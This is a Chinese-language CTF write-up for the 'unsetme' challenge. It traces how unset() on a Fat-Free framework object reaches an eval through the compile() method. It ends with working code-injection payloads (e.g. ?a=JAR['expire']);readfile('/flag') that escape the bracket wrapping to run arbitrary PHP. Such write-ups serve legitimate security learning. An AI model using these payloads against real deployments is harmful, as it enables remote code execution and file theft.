unsetme
题目直接给出源码:
<?php
// Kickstart the framework
$f3=require('lib/base.php');
$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');
// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);
$f3->run();
源码和WMCTF中的一个框架反序列化是同一个框架,网上下载源码来测试一下:
发现/lib/base.php
533行有一处eval报错,跟进发现$val
是由$hive
属性得到。

可以很明显发现$val
由$key
拼接@hive
进过正则匹配过滤后再进行替换得到,我们继续跟进$key
会发现他来源于__unset
魔术方法。

__unset
这个魔术方法会在外部使用unset()
函数销毁类的属性时候被触发。正好咱们回到·index.php
就使用unset
来销毁属性。

也就是说$key
就是$_GET['a']
,测试发现$this->compile
会将key
替换为[' ']
包裹下。这就说明我们需要绕过这个规格才能执行任意代码。

我们跟进$this->compile
方法,由于参数2传入就是false咱们直接进入第一个分支。可以看到分支使用preg_replace_callback
进行了两次匹配替换。第一次匹配将hive
匹配到然后在前面拼接$
得到$hive
第二次就是把我们传入的字符串给匹配进去,然后用[' ']
包裹起来,但是[]
并不会被匹配进去。因此咱么可以利用这个特性逃逸,只要写入一个二维数组就行了。

function compile($str, $evaluate=TRUE) {
return (!$evaluate)
? preg_replace_callback(
'/^@(\w+)((?:\..+|\[(?:(?:[^\[\]]*|(?R))*)\])*)/',
function($expr) {
$str='$'.$expr[1];
if (isset($expr[2]))
$str.=preg_replace_callback(
'/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/',
function($sub) {
$val=isset($sub[2]) ? $sub[2] : $sub[1];
if (ctype_digit($val))
$val=(int)$val;
$out='['.$this->export($val).']';
return $out;
},
$expr[2]
);
return $str;
},
$str
)
....
略
那么哪里有二维数组呢,当然是在hive
属性里找,直接将其输出看到很多

因此构造payload如下:
?a=JAR['expire']);phpinfo(

直接读flag即可:
?a=JAR['expire']);readfile('/flag'